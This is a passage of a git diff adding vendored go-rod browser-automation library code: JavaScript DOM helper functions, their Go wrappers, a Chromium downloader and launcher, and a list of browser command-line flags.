[]*Function{}, +} + +// InputTime ... +var InputTime = &Function{ + Name: "inputTime", + Definition: `function(e){var e=new Date(e),t=e=>e.toString().padStart(2,"0"),n=e.getFullYear(),r=t(e.getMonth()+1),i=t(e.getDate()),o=t(e.getHours()),s=t(e.getMinutes());switch(this.type){case"date":this.value=n+` + "`" + `-${r}-` + "`" + `+i;break;case"datetime-local":this.value=n+` + "`" + `-${r}-${i}T${o}:` + "`" + `+s;break;case"month":this.value=n+"-"+r;break;case"time":this.value=o+":"+s}functions.inputEvent.call(this)}`, + Dependencies: []*Function{InputEvent}, +} + +// InputColor ... +var InputColor = &Function{ + Name: "inputColor", + Definition: `function(e){this.value=""+e,functions.inputEvent.call(this)}`, + Dependencies: []*Function{InputEvent}, +} + +// SelectText ... +var SelectText = &Function{ + Name: "selectText", + Definition: `function(e){e=this.value.match(new RegExp(e));e&&this.setSelectionRange(e.index,e.index+e[0].length)}`, + Dependencies: []*Function{}, +} + +// SelectAllText ... +var SelectAllText = &Function{ + Name: "selectAllText", + Definition: `function(){this.select()}`, + Dependencies: []*Function{}, +} + +// Select ... +var Select = &Function{ + Name: "select", + Definition: `function(e,t,n){let r;switch(n){case"regex":r=e.map(e=>{const t=new RegExp(e);return e=>t.test(e.innerText)});break;case"css-selector":r=e.map(t=>e=>e.matches(t));break;default:r=e.map(t=>e=>e.innerText.includes(t))}const i=Array.from(this.options);let o=!1;return r.forEach(e=>{e=i.find(e);e&&(e.selected=t,o=!0)}),this.dispatchEvent(new Event("input",{bubbles:!0})),this.dispatchEvent(new Event("change",{bubbles:!0})),o}`, + Dependencies: []*Function{}, +} + +// Visible ... +var Visible = &Function{ + Name: "visible", + Definition: `function(){var e=functions.tag(this),t=e.getBoundingClientRect(),e=window.getComputedStyle(e);return"none"!==e.display&&"hidden"!==e.visibility&&!!(t.top||t.bottom||t.width||t.height)}`, + Dependencies: []*Function{Tag}, +} + +// Invisible ... +var Invisible = &Function{ + Name: "invisible", + Definition: `function(){return!functions.visible.apply(this)}`, + Dependencies: []*Function{Visible}, +} + +// Text ... +var Text = &Function{ + Name: "text", + Definition: `function(){switch(this.tagName){case"INPUT":case"TEXTAREA":return this.value||this.placeholder;case"SELECT":return Array.from(this.selectedOptions).map(e=>e.innerText).join();case void 0:return this.textContent;default:return this.innerText}}`, + Dependencies: []*Function{}, +} + +// Resource ... +var Resource = &Function{ + Name: "resource", + Definition: `function(){return new Promise((e,t)=>{if(this.complete)return e(this.currentSrc);this.addEventListener("load",()=>e(this.currentSrc)),this.addEventListener("error",e=>t(e))})}`, + Dependencies: []*Function{}, +} + +// AddScriptTag ... +var AddScriptTag = &Function{ + Name: "addScriptTag", + Definition: `function(r,i,o){if(!document.getElementById(r))return new Promise((e,t)=>{var n=document.createElement("script");i?(n.src=i,n.onload=e):(n.type="text/javascript",n.text=o,e()),n.id=r,n.onerror=t,document.head.appendChild(n)})}`, + Dependencies: []*Function{}, +} + +// AddStyleTag ... +var AddStyleTag = &Function{ + Name: "addStyleTag", + Definition: `function(r,i,o){if(!document.getElementById(r))return new Promise((e,t)=>{var n;i?((n=document.createElement("link")).rel="stylesheet",n.href=i):((n=document.createElement("style")).type="text/css",n.appendChild(document.createTextNode(o)),e()),n.id=r,n.onload=e,n.onerror=t,document.head.appendChild(n)})}`, + Dependencies: []*Function{}, +} + +// Selectable ... +var Selectable = &Function{ + Name: "selectable", + Definition: `function(e){return e.querySelector?e:document}`, + Dependencies: []*Function{}, +} + +// Tag ... +var Tag = &Function{ + Name: "tag", + Definition: `function(e){return e.tagName?e:e.parentElement}`, + Dependencies: []*Function{}, +} + +// ExposeFunc ... +var ExposeFunc = &Function{ + Name: "exposeFunc", + Definition: `function(e,t){let o=0;window[e]=e=>new Promise((n,r)=>{const i=t+"_cb"+o++;window[i]=(e,t)=>{delete window[i],t?r(t):n(e)},window[t](JSON.stringify({req:e,cb:i}))})}`, + Dependencies: []*Function{}, +} + +// GetXPath ... +var GetXPath = &Function{ + Name: "getXPath", + Definition: `function(e){class i{constructor(e,t){this.value=e,this.optimized=t||!1}toString(){return this.value}}function o(t){function n(e,t){return e===t||(e.nodeType===Node.ELEMENT_NODE&&t.nodeType===Node.ELEMENT_NODE?e.localName===t.localName:e.nodeType===t.nodeType||(e.nodeType===Node.CDATA_SECTION_NODE?Node.TEXT_NODE:e.nodeType)===(t.nodeType===Node.CDATA_SECTION_NODE?Node.TEXT_NODE:t.nodeType))}var e=t.parentNode,r=e?e.children:null;if(!r)return 0;let i;for(let e=0;e { + const faviconElement = document.querySelector('link[rel~=icon]') + const href = (faviconElement && faviconElement.href) || '/favicon.ico' + const faviconUrl = new URL(href, window.location).toString() + const xhr = new XMLHttpRequest() + xhr.open('GET', faviconUrl) + + xhr.ontimeout = function () { + reject({ + errorType: 'timeout_error', + xhr: xhr + }) + } + + xhr.onreadystatechange = function () { + if (xhr.readyState === 4) { + if ((xhr.status >= 200 && xhr.status < 300) || xhr.status === 304) { + resolve({ + status: xhr.status, + statusText: xhr.statusText, + responseText: xhr.responseText + }) + } else { + reject({ + errorType: 'status_error', + xhr: xhr, + status: xhr.status, + statusText: xhr.statusText, + responseText: xhr.responseText + }) + } + } + } + + xhr.onerror = function () { + reject({ + errorType: 'onerror', + xhr: xhr, + status: xhr.status, + statusText: xhr.statusText, + responseText: xhr.responseText + }) + } + xhr.send() + }) + }, + + elements(selector) { + return functions.selectable(this).querySelectorAll(selector) + }, + + elementX(xPath) { + const s = functions.selectable(this) + return document.evaluate( + xPath, + s, + null, + XPathResult.FIRST_ORDERED_NODE_TYPE + ).singleNodeValue + }, + + elementsX(xpath) { + const s = functions.selectable(this) + const iter = document.evaluate( + xpath, + s, + null, + XPathResult.ORDERED_NODE_ITERATOR_TYPE + ) + const list = [] + let el + while ((el = iter.iterateNext())) list.push(el) + return list + }, + + elementR(selector, regex) { + var reg + var m = regex.match(/(\/?)(.+)\1([a-z]*)/i) + // cSpell:ignore gmix + if (m[3] && !/^(?!.*?(.).*?\1)[gmixXsuUAJ]+$/.test(m[3])) + reg = new RegExp(regex) + else reg = new RegExp(m[2], m[3]) + + const s = functions.selectable(this) + const el = Array.from(s.querySelectorAll(selector)).find((e) => + reg.test(functions.text.call(e)) + ) + return el ? el : null + }, + + parents(selector) { + let p = this.parentElement + const list = [] + while (p) { + if (p.matches(selector)) { + list.push(p) + } + p = p.parentElement + } + return list + }, + + containsElement(target) { + var node = target + while (node != null) { + if (node === this) { + return true + } + node = node.parentElement + } + return false + }, + + async initMouseTracer(iconId, icon) { + await functions.waitLoad() + + if (document.getElementById(iconId)) { + return + } + + const tmp = document.createElement('div') + tmp.innerHTML = icon + const svg = tmp.lastChild + svg.id = iconId + svg.style = + 'position: absolute; z-index: 2147483647; width: 17px; pointer-events: none;' + svg.removeAttribute('width') + svg.removeAttribute('height') + document.body.parentElement.appendChild(svg) + }, + + updateMouseTracer(iconId, x, y) { + const svg = document.getElementById(iconId) + if (!svg) { + return false + } + svg.style.left = x - 2 + 'px' + svg.style.top = y - 3 + 'px' + return true + }, + + rect() { + const b = functions.tag(this).getBoundingClientRect() + return { x: b.x, y: b.y, width: b.width, height: b.height } + }, + + async overlay(id, left, top, width, height, msg) { + await functions.waitLoad() + + const div = document.createElement('div') + div.id = id + div.style = `position: fixed; z-index:2147483647; border: 2px dashed red; + border-radius: 3px; box-shadow: #5f3232 0 0 3px; pointer-events: none; + box-sizing: border-box; + left: ${left}px; + top: ${top}px; + height: ${height}px; + width: ${width}px;` + + if (width * height === 0) { + div.style.border = 'none' + } + + if (!msg) { + document.body.parentElement.appendChild(div) + return + } + + const msgDiv = document.createElement('div') + msgDiv.style = `position: absolute; color: #cc26d6; font-size: 12px; background: #ffffffeb; + box-shadow: #333 0 0 3px; padding: 2px 5px; border-radius: 3px; white-space: nowrap; + top: ${height}px;` + + msgDiv.innerHTML = msg + div.appendChild(msgDiv) + document.body.parentElement.appendChild(div) + + if (window.innerHeight < msgDiv.offsetHeight + top + height) { + msgDiv.style.top = -msgDiv.offsetHeight - 2 + 'px' + } + + if (window.innerWidth < msgDiv.offsetWidth + left) { + msgDiv.style.left = window.innerWidth - msgDiv.offsetWidth - left + 'px' + } + }, + + async elementOverlay(id, msg) { + const interval = 100 + const el = functions.tag(this) + + let pre = el.getBoundingClientRect() + await functions.overlay(id, pre.left, pre.top, pre.width, pre.height, msg) + + const update = () => { + const overlay = document.getElementById(id) + if (overlay === null) return + + const box = el.getBoundingClientRect() + if ( + pre.left === box.left && + pre.top === box.top && + pre.width === box.width && + pre.height === box.height + ) { + setTimeout(update, interval) + return + } + + overlay.style.left = box.left + 'px' + overlay.style.top = box.top + 'px' + overlay.style.width = box.width + 'px' + overlay.style.height = box.height + 'px' + pre = box + + setTimeout(update, interval) + } + + setTimeout(update, interval) + }, + + removeOverlay(id) { + const el = document.getElementById(id) + // prevent override like prototype.js + el && Element.prototype.remove.call(el) + }, + + waitIdle(timeout) { + return new Promise((resolve) => { + window.requestIdleCallback(resolve, { timeout }) + }) + }, + + waitLoad() { + const isWin = this === window + return new Promise((resolve, reject) => { + if (isWin) { + if (document.readyState === 'complete') return resolve() + window.addEventListener('load', resolve) + } else { + if (this.complete === undefined || this.complete) { + resolve() + } else { + this.addEventListener('load', resolve) + this.addEventListener('error', reject) + } + } + }) + }, + + inputEvent() { + this.dispatchEvent(new Event('input', { bubbles: true })) + this.dispatchEvent(new Event('change', { bubbles: true })) + }, + + inputTime(stamp) { + const time = new Date(stamp) + + const pad = (n) => n.toString().padStart(2, '0') + + const y = time.getFullYear() + const mon = pad(time.getMonth() + 1) + const d = pad(time.getDate()) + const h = pad(time.getHours()) + const min = pad(time.getMinutes()) + + switch (this.type) { + case 'date': + this.value = `${y}-${mon}-${d}` + break + case 'datetime-local': + this.value = `${y}-${mon}-${d}T${h}:${min}` + break + case 'month': + this.value = `${y}-${mon}` + break + case 'time': + this.value = `${h}:${min}` + break + } + + functions.inputEvent.call(this) + }, + + inputColor(color) { + this.value = `${color}` + + functions.inputEvent.call(this) + }, + selectText(pattern) { + const m = this.value.match(new RegExp(pattern)) + if (m) { + this.setSelectionRange(m.index, m.index + m[0].length) + } + }, + + selectAllText() { + this.select() + }, + + select(selectors, selected, type) { + let matchers + switch (type) { + case 'regex': + matchers = selectors.map((s) => { + const reg = new RegExp(s) + return (el) => reg.test(el.innerText) + }) + break + case 'css-selector': + matchers = selectors.map((s) => (el) => el.matches(s)) + break + default: + matchers = selectors.map((s) => (el) => el.innerText.includes(s)) + break + } + + const opts = Array.from(this.options) + let has = false + matchers.forEach((s) => { + const el = opts.find(s) + if (el) { + el.selected = selected + has = true + return + } + }) + + this.dispatchEvent(new Event('input', { bubbles: true })) + this.dispatchEvent(new Event('change', { bubbles: true })) + + return has + }, + + visible() { + const el = functions.tag(this) + const box = el.getBoundingClientRect() + const style = window.getComputedStyle(el) + return ( + style.display !== 'none' && + style.visibility !== 'hidden' && + !!(box.top || box.bottom || box.width || box.height) + ) + }, + + invisible() { + return !functions.visible.apply(this) + }, + + text() { + switch (this.tagName) { + case 'INPUT': + case 'TEXTAREA': + return this.value || this.placeholder + case 'SELECT': + return Array.from(this.selectedOptions) + .map((el) => el.innerText) + .join() + case undefined: + return this.textContent + default: + return this.innerText + } + }, + + resource() { + return new Promise((resolve, reject) => { + if (this.complete) { + return resolve(this.currentSrc) + } + this.addEventListener('load', () => resolve(this.currentSrc)) + this.addEventListener('error', (e) => reject(e)) + }) + }, + + addScriptTag(id, url, content) { + if (document.getElementById(id)) return + + return new Promise((resolve, reject) => { + var s = document.createElement('script') + + if (url) { + s.src = url + s.onload = resolve + } else { + s.type = 'text/javascript' + s.text = content + resolve() + } + + s.id = id + s.onerror = reject + document.head.appendChild(s) + }) + }, + + addStyleTag(id, url, content) { + if (document.getElementById(id)) return + + return new Promise((resolve, reject) => { + var el + + if (url) { + el = document.createElement('link') + el.rel = 'stylesheet' + el.href = url + } else { + el = document.createElement('style') + el.type = 'text/css' + el.appendChild(document.createTextNode(content)) + resolve() + } + + el.id = id + el.onload = resolve + el.onerror = reject + document.head.appendChild(el) + }) + }, + + selectable(s) { + return s.querySelector ? s : document + }, + + tag(el) { + return el.tagName ? el : el.parentElement + }, + + exposeFunc(name, bind) { + let callbackCount = 0 + window[name] = (req) => + new Promise((resolve, reject) => { + const cb = bind + '_cb' + callbackCount++ + window[cb] = (res, err) => { + delete window[cb] + err ? reject(err) : resolve(res) + } + window[bind](JSON.stringify({ req, cb })) + }) + }, + + getXPath(optimized) { + class Step { + constructor(value, optimized) { + this.value = value + this.optimized = optimized || false + } + toString() { + return this.value + } + } + const xPathValue = function xPathValue(node, optimized) { + let ownValue + const ownIndex = xPathIndex(node) + if (ownIndex === -1) { + return null + } + switch (node.nodeType) { + case Node.ELEMENT_NODE: + if (optimized && node.id) { + return new Step(`//*[@id='${node.id}']`, true) + } + ownValue = node.localName + break + case Node.ATTRIBUTE_NODE: + ownValue = `@${node.nodeName}` + break + case Node.TEXT_NODE: + case Node.CDATA_SECTION_NODE: + ownValue = 'text()' + break + case Node.PROCESSING_INSTRUCTION_NODE: + ownValue = 'processing-instruction()' + break + case Node.COMMENT_NODE: + ownValue = 'comment()' + break + case Node.DOCUMENT_NODE: + ownValue = '' + break + default: + ownValue = '' + break + } + if (ownIndex > 0) { + ownValue += `[${ownIndex}]` + } + return new Step(ownValue, node.nodeType === Node.DOCUMENT_NODE) + } + const xPathIndex = function xPathIndex(node) { + function areNodesSimilar(left, right) { + if (left === right) { + return true + } + if ( + left.nodeType === Node.ELEMENT_NODE && + right.nodeType === Node.ELEMENT_NODE + ) { + return left.localName === right.localName + } + if (left.nodeType === right.nodeType) { + return true + } + const leftType = + left.nodeType === Node.CDATA_SECTION_NODE + ? Node.TEXT_NODE + : left.nodeType + const rightType = + right.nodeType === Node.CDATA_SECTION_NODE + ? Node.TEXT_NODE + : right.nodeType + return leftType === rightType + } + const parentNode = node.parentNode + const siblings = parentNode ? parentNode.children : null + if (!siblings) { + return 0 + } + let hasSameNamedElements + for (let i = 0; i < siblings.length; ++i) { + if (areNodesSimilar(node, siblings[i]) && !(siblings[i] === node)) { + hasSameNamedElements = true + break + } + } + if (!hasSameNamedElements) { + return 0 + } + let ownIndex = 1 + for (let i = 0; i < siblings.length; ++i) { + if (areNodesSimilar(node, siblings[i])) { + if (siblings[i] === node) { + return ownIndex + } + ++ownIndex + } + } + return -1 + } + const node = this + if (node.nodeType === Node.DOCUMENT_NODE) { + return '/' + } + const steps = [] + let contextNode = node + while (contextNode) { + const step = xPathValue(contextNode, optimized) + if (!step) { + break + } + steps.push(step) + if (step.optimized) { + break + } + contextNode = contextNode.parentNode + } + steps.reverse() + return (steps.length && steps[0].optimized ? '' : '/') + steps.join('/') + } +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/js/js.go b/backend/vendor/github.com/go-rod/rod/lib/js/js.go new file mode 100644 index 0000000..72f36e1 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/js/js.go @@ -0,0 +1,21 @@ +package js + +// Function definition. +type Function struct { + // Name must be unique and not conflict with the function names in "helper.js" + Name string + + // Definition holds the code of a js function from "helper.js", + // the js code is compressed by uglify-js. + Definition string + + // Dependencies will be preloaded and assigned to the global js object "functions" + Dependencies []*Function +} + +// Functions ... +var Functions = &Function{ + Name: "functions", + Definition: "() => ({})", + Dependencies: nil, +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/README.md b/backend/vendor/github.com/go-rod/rod/lib/launcher/README.md new file mode 100644 index 0000000..32622dd --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/README.md @@ -0,0 +1,3 @@ +# Overview + +A lib helps to find, launch or download the browser. You can also use it as a standalone lib without Rod. diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/browser.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/browser.go new file mode 100644 index 0000000..733af27 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/browser.go @@ -0,0 +1,279 @@ +package launcher + +import ( + "bytes" + "context" + "errors" + "fmt" + "log" + "net/http" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + + "github.com/go-rod/rod/lib/defaults" + "github.com/go-rod/rod/lib/utils" + "github.com/ysmood/fetchup" + "github.com/ysmood/leakless" +) + +// Host formats a revision number to a downloadable URL for the browser. +type Host func(revision int) string + +var hostConf = map[string]struct { + urlPrefix string + zipName string +}{ + "darwin_amd64": {"Mac", "chrome-mac.zip"}, + "darwin_arm64": {"Mac_Arm", "chrome-mac.zip"}, + "linux_amd64": {"Linux_x64", "chrome-linux.zip"}, + "windows_386": {"Win", "chrome-win.zip"}, + "windows_amd64": {"Win_x64", "chrome-win.zip"}, +}[runtime.GOOS+"_"+runtime.GOARCH] + +// HostGoogle to download browser. +func HostGoogle(revision int) string { + return fmt.Sprintf( + "https://storage.googleapis.com/chromium-browser-snapshots/%s/%d/%s", + hostConf.urlPrefix, + revision, + hostConf.zipName, + ) +} + +// HostNPM to download browser. +func HostNPM(revision int) string { + return fmt.Sprintf( + "https://registry.npmmirror.com/-/binary/chromium-browser-snapshots/%s/%d/%s", + hostConf.urlPrefix, + revision, + hostConf.zipName, + ) +} + +// HostPlaywright to download browser. +func HostPlaywright(revision int) string { + rev := RevisionPlaywright + if !(runtime.GOOS == "linux" && runtime.GOARCH == "arm64") { + rev = revision + } + return fmt.Sprintf( + "https://playwright.azureedge.net/builds/chromium/%d/chromium-linux-arm64.zip", + rev, + ) +} + +// DefaultBrowserDir for downloaded browser. For unix is "$HOME/.cache/rod/browser", +// for Windows it's "%APPDATA%\rod\browser". +var DefaultBrowserDir = filepath.Join(map[string]string{ + "windows": os.Getenv("APPDATA"), + "darwin": filepath.Join(os.Getenv("HOME"), ".cache"), + "linux": filepath.Join(os.Getenv("HOME"), ".cache"), +}[runtime.GOOS], "rod", "browser") + +// Browser is a helper to download browser smartly. +type Browser struct { + Context context.Context + + // Hosts are the candidates to download the browser. + // Such as [HostGoogle] or [HostNPM]. + Hosts []Host + + // Revision of the browser to use + Revision int + + // RootDir to download different browser versions. + RootDir string + + // Log to print output + Logger utils.Logger + + // LockPort a tcp port to prevent race downloading. Default is 2968 . + LockPort int + + // HTTPClient to download the browser + HTTPClient *http.Client +} + +// NewBrowser with default values. +func NewBrowser() *Browser { + return &Browser{ + Context: context.Background(), + Revision: RevisionDefault, + Hosts: []Host{HostGoogle, HostNPM, HostPlaywright}, + RootDir: DefaultBrowserDir, + Logger: log.New(os.Stdout, "[launcher.Browser]", log.LstdFlags), + LockPort: defaults.LockPort, + } +} + +// Dir to download the browser. +func (lc *Browser) Dir() string { + return filepath.Join(lc.RootDir, fmt.Sprintf("chromium-%d", lc.Revision)) +} + +// BinPath to download the browser executable. +func (lc *Browser) BinPath() string { + bin := map[string]string{ + "darwin": "Chromium.app/Contents/MacOS/Chromium", + "linux": "chrome", + "windows": "chrome.exe", + }[runtime.GOOS] + + return filepath.Join(lc.Dir(), filepath.FromSlash(bin)) +} + +// Download browser from the fastest host. +// It will race downloading a TCP packet from each host and use the fastest host. +func (lc *Browser) Download() error { + us := []string{} + for _, host := range lc.Hosts { + us = append(us, host(lc.Revision)) + } + + dir := lc.Dir() + + fu := fetchup.New(dir, us...) + fu.Ctx = lc.Context + fu.Logger = lc.Logger + if lc.HTTPClient != nil { + fu.HttpClient = lc.HTTPClient + } + + err := fu.Fetch() + if err != nil { + return fmt.Errorf("can't find a browser binary for your OS, the doc might help https://go-rod.github.io/#/compatibility?id=os : %w", err) //nolint: lll + } + + return fetchup.StripFirstDir(dir) +} + +// Get is a smart helper to get the browser executable path. +// If [Browser.BinPath] is not valid it will auto download the browser to [Browser.BinPath]. +func (lc *Browser) Get() (string, error) { + defer leakless.LockPort(lc.LockPort)() + + if lc.Validate() == nil { + return lc.BinPath(), nil + } + + // Try to cleanup before downloading + _ = os.RemoveAll(lc.Dir()) + + return lc.BinPath(), lc.Download() +} + +// MustGet is similar with Get. +func (lc *Browser) MustGet() string { + p, err := lc.Get() + utils.E(err) + return p +} + +// Validate returns nil if the browser executable is valid. +// If the executable is malformed it will return error. +func (lc *Browser) Validate() error { + _, err := os.Stat(lc.BinPath()) + if err != nil { + return err + } + + cmd := exec.Command(lc.BinPath(), "--headless", "--no-sandbox", + "--use-mock-keychain", "--disable-dev-shm-usage", + "--disable-gpu", "--dump-dom", "about:blank") + b, err := cmd.CombinedOutput() + if err != nil { + if strings.Contains(string(b), "error while loading shared libraries") { + // When the os is missing some dependencies for chromium we treat it as valid binary. + return nil + } + + return fmt.Errorf("failed to run the browser: %w\n%s", err, b) + } + if !bytes.Contains(b, []byte(``)) { + return errors.New("the browser executable doesn't support headless mode") + } + + return nil +} + +// LookPath searches for the browser executable from often used paths on current operating system. +func LookPath() (found string, has bool) { + list := map[string][]string{ + "darwin": { + "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome", + "/Applications/Chromium.app/Contents/MacOS/Chromium", + "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge", + "/Applications/Google Chrome Canary.app/Contents/MacOS/Google Chrome Canary", + "/usr/bin/google-chrome-stable", + "/usr/bin/google-chrome", + "/usr/bin/chromium", + "/usr/bin/chromium-browser", + }, + "linux": { + "chrome", + "google-chrome", + "/usr/bin/google-chrome", + "microsoft-edge", + "/usr/bin/microsoft-edge", + "chromium", + "chromium-browser", + "/usr/bin/google-chrome-stable", + "/usr/bin/chromium", + "/usr/bin/chromium-browser", + "/snap/bin/chromium", + "/data/data/com.termux/files/usr/bin/chromium-browser", + }, + "openbsd": { + "chrome", + "chromium", + }, + "windows": append([]string{"chrome", "edge"}, expandWindowsExePaths( + `Google\Chrome\Application\chrome.exe`, + `Chromium\Application\chrome.exe`, + `Microsoft\Edge\Application\msedge.exe`, + )...), + }[runtime.GOOS] + + for _, path := range list { + var err error + found, err = exec.LookPath(path) + has = err == nil + if has { + break + } + } + + return +} + +// interface for testing. +var openExec = exec.Command + +// Open tries to open the url via system's default browser. +func Open(url string) { + // Windows doesn't support format [::] + url = strings.Replace(url, "[::]", "[::1]", 1) + + if bin, has := LookPath(); has { + p := openExec(bin, url) + _ = p.Start() + _ = p.Process.Release() + } +} + +func expandWindowsExePaths(list ...string) []string { + newList := []string{} + for _, p := range list { + newList = append( + newList, + filepath.Join(os.Getenv("ProgramFiles"), p), + filepath.Join(os.Getenv("ProgramFiles(x86)"), p), + filepath.Join(os.Getenv("LocalAppData"), p), + ) + } + + return newList +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/error.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/error.go new file mode 100644 index 0000000..fd643b4 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/error.go @@ -0,0 +1,6 @@ +package launcher + +import "errors" + +// ErrAlreadyLaunched is an error that indicates the launcher has already been launched. +var ErrAlreadyLaunched = errors.New("already launched") diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/flags/flags.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/flags/flags.go new file mode 100644 index 0000000..f21605d --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/flags/flags.go @@ -0,0 +1,70 @@ +// Package flags ... +package flags + +import "strings" + +// Flag name of a command line argument of the browser, also known as command line flag or switch. +// List of available flags: https://peter.sh/experiments/chromium-command-line-switches +type Flag string + +// TODO: we should automatically generate all the flags here. +const ( + // UserDataDir https://chromium.googlesource.com/chromium/src/+/master/docs/user_data_dir.md + UserDataDir Flag = "user-data-dir" + + // Headless mode. Whether to run browser in headless mode. A mode without visible UI. + Headless Flag = "headless" + + // App flag. + App Flag = "app" + + // RemoteDebuggingPort flag. + RemoteDebuggingPort Flag = "remote-debugging-port" + + // NoSandbox flag. + NoSandbox Flag = "no-sandbox" + + // ProxyServer flag. + ProxyServer Flag = "proxy-server" + + // WorkingDir flag. + WorkingDir Flag = "rod-working-dir" + + // Env flag. + Env Flag = "rod-env" + + // XVFB flag. + XVFB Flag = "rod-xvfb" + + // ProfileDir flag. + ProfileDir = "profile-directory" + + // Preferences flag. + Preferences Flag = "rod-preferences" + + // Leakless flag. + Leakless Flag = "rod-leakless" + + // Bin is the browser executable file path. If it's empty, launcher will automatically search or download the bin. + Bin Flag = "rod-bin" + + // KeepUserDataDir flag. + KeepUserDataDir Flag = "rod-keep-user-data-dir" + + // Arguments for the command. Such as + // chrome-bin http://a.com http://b.com + // The "http://a.com" and "http://b.com" are the arguments. + Arguments Flag = "" +) + +// Check if the flag name is valid. +func (f Flag) Check() { + if strings.Contains(string(f), "=") { + panic("flag name should not contain '='") + } +} + +// NormalizeFlag normalize the flag name, remove the leading dash. +func (f Flag) NormalizeFlag() Flag { + return Flag(strings.TrimLeft(string(f), "-")) +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/launcher/launcher.go b/backend/vendor/github.com/go-rod/rod/lib/launcher/launcher.go new file mode 100644 index 0000000..92436c8 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/launcher/launcher.go @@ -0,0 +1,556 @@ +// Package launcher for launching browser utils. +package launcher + +import ( + "context" + "crypto" + "errors" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "sort" + "strings" + "sync/atomic" + + "github.com/go-rod/rod/lib/defaults" + "github.com/go-rod/rod/lib/launcher/flags" + "github.com/go-rod/rod/lib/utils" + "github.com/ysmood/leakless" +) + +// DefaultUserDataDirPrefix ... +var DefaultUserDataDirPrefix = filepath.Join(os.TempDir(), "rod", "user-data") + +// Launcher is a helper to launch browser binary smartly. +type Launcher struct { + Flags map[flags.Flag][]string `json:"flags"` + + ctx context.Context + ctxCancel func() + + logger io.Writer + + browser *Browser + parser *URLParser + pid int + exit chan struct{} + + managed bool + serviceURL string + + isLaunched int32 // zero means not launched +} + +// New returns the default arguments to start browser. +// Headless will be enabled by default. +// Leakless will be enabled by default. +// UserDataDir will use OS tmp dir by default, this folder will usually be cleaned up by the OS after reboot. +// It will auto download the browser binary according to the current platform, +// check [Launcher.Bin] and [Launcher.Revision] for more info. +func New() *Launcher { + dir := defaults.Dir + if dir == "" { + dir = filepath.Join(DefaultUserDataDirPrefix, utils.RandString(8)) + } + + defaultFlags := map[flags.Flag][]string{ + flags.Bin: {defaults.Bin}, + flags.Leakless: nil, + + flags.UserDataDir: {dir}, + + // use random port by default + flags.RemoteDebuggingPort: {defaults.Port}, + + // enable headless by default + flags.Headless: nil, + + // to disable the init blank window + "no-first-run": nil, + "no-startup-window": nil, + + // TODO: about the "site-per-process" see https://github.com/puppeteer/puppeteer/issues/2548 + "disable-features": {"site-per-process", "TranslateUI"}, + + "disable-dev-shm-usage": nil, + "disable-background-networking": nil, + "disable-background-timer-throttling": nil, + "disable-backgrounding-occluded-windows": nil, + "disable-breakpad": nil, + "disable-client-side-phishing-detection": nil, + "disable-component-extensions-with-background-pages": nil, + "disable-default-apps": nil, + "disable-hang-monitor": nil, + "disable-ipc-flooding-protection": nil, + "disable-popup-blocking": nil, + "disable-prompt-on-repost": nil, + "disable-renderer-backgrounding": nil, + "disable-sync": nil, + "disable-site-isolation-trials": nil, + "enable-automation": nil, + "enable-features": {"NetworkService", "NetworkServiceInProcess"}, + "force-color-profile": {"srgb"}, + "metrics-recording-only": nil, + "use-mock-keychain": nil, + } + + if defaults.Show { + delete(defaultFlags, flags.Headless) + } + if defaults.Devtools { + defaultFlags["auto-open-devtools-for-tabs"] = nil + } + if inContainer { + defaultFlags[flags.NoSandbox] = nil + } + if defaults.Proxy != "" { + defaultFlags[flags.ProxyServer] = []string{defaults.Proxy} + } + + ctx, cancel := context.WithCancel(context.Background()) + return &Launcher{ + ctx: ctx, + ctxCancel: cancel, + Flags: defaultFlags, + exit: make(chan struct{}), + browser: NewBrowser(), + parser: NewURLParser(), + logger: io.Discard, + } +} + +// NewUserMode is a preset to enable reusing current user data. Useful for automation of personal browser. +// If you see any error, it may because you can't launch debug port for existing browser, the solution is to +// completely close the running browser. Unfortunately, there's no API for rod to tell it automatically yet. +func NewUserMode() *Launcher { + ctx, cancel := context.WithCancel(context.Background()) + bin, _ := LookPath() + + return &Launcher{ + ctx: ctx, + ctxCancel: cancel, + Flags: map[flags.Flag][]string{ + flags.RemoteDebuggingPort: {"37712"}, + "no-startup-window": nil, + flags.Bin: {bin}, + }, + browser: NewBrowser(), + exit: make(chan struct{}), + parser: NewURLParser(), + logger: io.Discard, + } +} + +// NewAppMode is a preset to run the browser like a native application. +// The u should be a URL. +func NewAppMode(u string) *Launcher { + l := New() + l.Set(flags.App, u). + Set(flags.Env, "GOOGLE_API_KEY=no"). + Headless(false). + Delete("no-startup-window"). + Delete("enable-automation") + return l +} + +// Context sets the context. +func (l *Launcher) Context(ctx context.Context) *Launcher { + ctx, cancel := context.WithCancel(ctx) + l.ctx = ctx + l.parser.Context(ctx) + l.ctxCancel = cancel + return l +} + +// Set a command line argument when launching the browser. +// Be careful the first argument is a flag name, it shouldn't contain values. The values the will be joined with comma. +// A flag can have multiple values. If no values are provided the flag will be a boolean flag. +// You can use the [Launcher.FormatArgs] to debug the final CLI arguments. +// List of available flags: https://peter.sh/experiments/chromium-command-line-switches +func (l *Launcher) Set(name flags.Flag, values ...string) *Launcher { + name.Check() + l.Flags[name.NormalizeFlag()] = values + return l +} + +// Get flag's first value. +func (l *Launcher) Get(name flags.Flag) string { + if list, has := l.GetFlags(name); has { + return list[0] + } + return "" +} + +// Has flag or not. +func (l *Launcher) Has(name flags.Flag) bool { + _, has := l.GetFlags(name) + return has +} + +// GetFlags from settings. +func (l *Launcher) GetFlags(name flags.Flag) ([]string, bool) { + flag, has := l.Flags[name.NormalizeFlag()] + return 